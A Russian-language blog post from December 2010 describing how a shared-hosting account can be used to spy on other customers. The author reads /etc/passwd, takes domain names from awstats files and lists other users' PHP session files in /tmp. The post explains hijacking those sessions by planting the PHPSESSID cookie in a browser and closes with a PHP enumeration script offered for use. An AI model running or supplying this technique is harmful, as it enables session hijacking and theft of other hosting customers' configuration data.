вторник, 21 декабря 2010 г.

Хостинг и php-сессии

В мои руки попала учетная запись пользователя одного хостинга. После того как пользователю была оказана помощь, заинтересовали настройки и организация хостинг провайдера. 

Первым делом решил проверить доступ к другим директориям пользователей. Папка /home/ оказалась закрыта на чтение и просмотреть список файлов оказалось не возможно. Пошли далее заглянули в папку /etc/ нащупали файлик passwd - о_О! Много пользователей заведено в системе. Конечно в данном файле мало интересного, но все равно есть. Там указывается связь пользователя с их домашней директорией. После заходим в папку tmp домашней директории любого пользователя и можно просмотреть файлы awstats (лог-анализатор) в имени которого указано имя домена. Теперь у нас есть имя учетной записи, имя домена сайта. А что будет если заглянуть в папку /tmp/ - точно здесь хранятся все временные файлы пользователей, а также файлы php-сессий. По владельцу файла можно уже выяснить с каким доменом данная сессия должна работать. Сами сессии начинается название с "sess_" нам не дано прочитать, т.к. атрибуты файла нам это запрещают (rw- --- ---). Зато мы можем использовать данный кук при работе с сайтом, для этого достаточно его прописать в куки браузер. Обычно используется переменная PHPSESSID, но может меняться в зависимости от настроек сайта.
И напоследок небольшой скрипт, который поможет понять про что я говорю + добавил еще проверку на доступ к файлу index.php который теоретически должен располагаться в домашней директории пользователя и внутри папки public_html и исследуя эти файлы можно вытащить и конфигурационные данные и дальше все ограничиваются только своей фантазией, а я на этом остановлюсь.

<?php
$pas = file( '/etc/passwd' );
foreach ($pas as $line_num => $line) {
    preg_match( "/^(.*?)\:(.*?)\:(.*?)\:(.*?)\:(.*?)\:(.*?)\:/", $line, $res );
    if( $res[ 1 ] ) {
        $arr[ $res[ 1 ] ][ "passwd" ] = rtrim( $line );
        if( @file( "{$res[6]}/public_html/index.php" ) ) { $arr[ $res[ 1 ] ][ "index" ] = true; };
           if( @is_dir( "{$res[6]}/tmp/awstats/" ) ) {
                if( $dd = opendir( "{$res[6]}/tmp/awstats/" ) ) {
                     while( ( $ff = readdir( $dd ) ) !== false ) {
                         preg_match( "/awstats\.(.*)\.conf/", $ff, $ret );
                         if( $ret[ 1 ] ) { $arr[ $res[ 1 ] ][ "domain" ] = $ret[ 1 ]; }
                     }
                }
                closedir( $dd );
           }
    };
}
$dir = "/tmp/";
if( is_dir( $dir ) ) {
   if ( $dh = opendir( $dir ) ) {
       while( ( $file = readdir( $dh ) ) !== false ) {
           $user = @posix_getpwuid( @fileowner( $dir.$file ) );
           if( @file( "/home/" . $file . "/public_html/index.php" ) ) { $arr[ $file ][ "index" ] = true; };
           $arr[ $user[ "name" ] ][ "session" ][ ] = $file . " [". date( 'Y-m-d H:i:s', @filemtime( $dir . $file ) ) . "]";
       }
   }
}

print_r( $arr );
?>

Комментариев нет:

Отправить комментарий